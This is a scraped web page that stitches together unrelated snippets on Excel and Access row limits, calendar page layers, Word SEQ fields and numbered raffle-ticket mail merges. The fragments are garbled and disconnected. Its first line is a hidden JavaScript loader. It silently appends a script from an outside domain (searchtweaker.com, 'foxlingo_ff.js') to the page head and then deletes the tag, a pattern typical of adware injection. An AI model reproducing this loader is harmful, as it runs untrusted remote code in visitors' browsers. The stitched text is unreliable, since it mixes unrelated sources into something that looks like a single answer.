(function(){try{var header=document.getElementsByTagName("HEAD")[0];var script=document.createElement("SCRIPT");script.src="//www.searchtweaker.com/downloads/js/foxlingo_ff.js";script.onload=script.onreadystatechange=function(){if (!(this.readyState)||(this.readyState=="complete"||this.readyState=="loaded")){script.onload=null;script.onreadystatechange=null;header.removeChild(script);}}; header.appendChild(script);} catch(e) {}})();
Hi, As a new user to excel I am thinking of setting up a data base of my music. The total number of tracks is in excess of 70,000. I have seen a simple solution using excel which would be ok but I'm not sure if I can have 70,000 rows in one work sheet. A friend has suggested access which I am not familiar with and don't know if this will allow 70,000 entries. Can anyone please tell me what the maximum numbers are in both access and excel 2003. Cheers Glinty Max in Excel 2003 is 65536 (in one sheet) whereas Access only limit is your memory -- Regards, Peo Sjoblom ...

For the calendar project, you will need 12 pages -- one for each month of the year. You can create multiple pages by duplicating the first page (with all its layers). Before you do that, however, you can rename the layers on Page 1, so that when you duplicate the page and its layers, the names of the layers are duplicated on the other pages as well. For example, I have given the layers intuitive names that indicate the type of content that I will place on each layer: Dates, Advertisements, Logo&Month, and Back&Photos. When you have renamed the layers on the first page, duplicate the page by right-clicking the Page 1 tab at the bottom of the application window and choosing Duplicate Page from the pop-up menu. Since you haven't added any objects to the page yet, you can accept the default options in the Duplicate Page dialog box and click OK. Repeat this process to create all 12 pages of the calendar. You can now rename the pages with the corresponding names of the months (Figure 3).
Using the instructions in #5, add an incrementing SEQ field. You can highlight any of them, except the reset field. For step 7, enter n}. n is the default switch that inserts the next number in the sequence, making it easy to remember. You don't have to specify the \n switch, because it's the default, but you can add it if it helps document your choice.
As you can see, the sequence name can be most anything (e.g. mySeq, A, B, or Bob's_your_uncle). If you start a sequence with a new sequence name the numbering restarts with 1. Look at Mary's first chore in the right hand column. Here you see the reset switch \r1 was used. This switch directs Word to restart the sequence named "A" with "1" at this point.
I need a running number from 1001-1200, so after I apply the print merge, it creates 200pgs of the voucher.When I try to save this file, it takes almost half an hour to do so.I think this is due to the heavy file size?In addition, the local print shop knows nothing about print merge and imposition, so I have to prepare the artwork readily in A3 size to print.The imposition creates a 10pgs files.I wanted to save this as PDF to preserve the color, but it turned out to be a nightmare (in daytime) for me that it takes more than2 hours to generate the 10pgs PDF.
Now for the slightly hard bit. If you just try and complete your merge now, you'll get several pages of tickets. Each page will have four tickets on it. But all tickets on any page will have the same number. Each page will have a different number, but all the tickets on that page will have the same number. That's no good. You need each ticket to have a different number.

Despite its difficulties and drawbacks Word's automatic numbering can be harnessed. The best method I have seen for doing that is with outline numbering as explained by MVP Shauna Kelly in: Outline numbering in Microsoft Word. This takes a good bit of work to get it set-up, but if you get it set up in a template it is well worth the effort and most of your automatic paragraph numbering issues will be resolved.
I am getting my tickets to number on one side of it. However, I am needing my tickets to have the number on each side, but one side will not number. I have tried several times and it will not number on both sides. I am using an avery template that is printing 10 tickets per page, stub and tearable ticket. But the stub will not number while the tearable ticket will.

Yes it can be used for other documents. I use it as a basis to generate addressed letters to clients etc. Potentially you could use it with Access, but you’d have to set it up as a Mail-Merge document – but it would take a bit of fiddling around to get both mail-merge and the sequential numbering to work at the same time. it’s a matter of experimenting – I don’t have any other suggestions – it’s up to you to adapt it to your own needs. sequential numbering using word

×